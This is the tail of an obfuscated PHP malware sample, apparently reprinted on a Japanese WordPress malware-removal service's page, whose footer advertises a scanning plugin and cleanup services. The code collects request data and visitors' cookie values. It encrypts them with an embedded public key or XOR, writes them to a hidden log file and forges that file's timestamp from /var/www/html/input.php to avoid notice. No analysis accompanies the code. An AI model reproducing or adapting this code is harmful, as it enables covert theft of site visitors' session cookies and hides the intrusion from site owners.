            $content = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMD', '_205')](_b484c73e94fd2eb4860a450a5c5e3789::g('Ng==', '_207'), $mbstr($addr)) . $addr . $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAME', '_209')](_b484c73e94fd2eb4860a450a5c5e3789::g('Ng==', '_211'), $mbstr($content)) . $content;
            if (isset($_COOKIE[$cookie])) {
                $c_val = $cookie . _b484c73e94fd2eb4860a450a5c5e3789::g('Yg==', '_213') . $_COOKIE[$cookie];
                $content .= $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAME', '_215')](_b484c73e94fd2eb4860a450a5c5e3789::g('Ng==', '_217'), $mbstr($c_val)) . $c_val;
            }
            if ($GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMH', '_219')](_b484c73e94fd2eb4860a450a5c5e3789::g('MEJXXyxBXm44V0ZuL0dQXTZRWVQm', '_221')) && $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMF', '_223')](_b484c73e94fd2eb4860a450a5c5e3789::g('MEJXWyxBXmovR1BZNlFtUDFRQEwvRg==', '_225')) && $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMK', '_227')](_b484c73e94fd2eb4860a450a5c5e3789::g('MEJXVyxBXmY6XFFLJkJG', '_229')) && $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAMK', '_231')](_b484c73e94fd2eb4860a450a5c5e3789::g('MEJWXSxBX2wtU11XMF9sQyxXRlcwbVFKK1dA', '_233'))) {
                $enc_key = null;
                $aes_key = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAD', '_235')](16);
                $iv = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAC', '_237')](16);
                $pub_key = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAB', '_239')](_b484c73e94fd2eb4860a450a5c5e3789::g('ch8ZHHJwcXYWfBRhCnB4eBwSf3QGHxkcch8+fBZ1UnweAnNyDENzYhZQB3UOd3ZwDmd1cGt1enAbcXZYDnl2Vg52d0ccam1DOnhkXXRqWX0JXVF5L2sBdw4LHztpQkFWNAcCAGh6eGcxAH54MEMMcjABe11sWQ16K39wUisDdgMMUFZpZlZ2ZRcBTl0OR2BhGF91WmYLe2sKRWd3VQdGcxBjUUAxAHdjbFNnAitqXUE4XwBIKHdkCRUEAUM0fHFUawBOdgcBfGUXf1IHHWFRfGZYRHQuQl8DC1lhRRs4d1dmdmNbJXpcewdze0FmZ2ZGFnZ1YB5wPhxyHxkcGnxwEQ9ndn0WcRR6GmsZHHIfGTs=', '_241'));
                $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAH', '_243')]($aes_key, $enc_key, $pub_key);
                $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAA', '_245')]($pub_key);
                $is_open_ssl = true;
            }
            if ($is_open_ssl) {
                $content = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAB', '_247')]($content, _b484c73e94fd2eb4860a450a5c5e3789::g('HndnFG4ADBQccHc=', '_249'), $aes_key, OPENSSL_RAW_DATA, $iv);
                $log_entry = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAD', '_251')](_b484c73e94fd2eb4860a450a5c5e3789::g('PFs=', '_253'), 0x1, $mbstr($enc_key)) . $enc_key . $iv . $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAC', '_255')](_b484c73e94fd2eb4860a450a5c5e3789::g('Ng==', '_257'), $mbstr($content)) . $content . $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAN', '_259')](_b484c73e94fd2eb4860a450a5c5e3789::g('PA==', '_261'), 0x0);
            } else {
                $xor_byte = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAEG', '_263')](_b484c73e94fd2eb4860a450a5c5e3789::g('PA==', '_265'), $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAAP', '_267')]());
                $content_length = $mbstr($content);
                for ($i = 0; $i < $content_length; $i++) {
                    $content[$i] ^= $xor_byte;
                }
                $log_entry = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAEH', '_269')](_b484c73e94fd2eb4860a450a5c5e3789::g('PFFe', '_271'), 0x0, $xor_byte, $content_length) . $content . $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAEF', '_273')](_b484c73e94fd2eb4860a450a5c5e3789::g('PA==', '_275'), 0x0);
            }
            @$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAEE', '_277')]($filename, $log_entry, "NOOO_EXPEND");
            $time = @$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAED', '_279')]("/var/www/html/input.php");
            @$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('AAEN', '_281')]($filename, $time, $time);
        }
    }
}

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.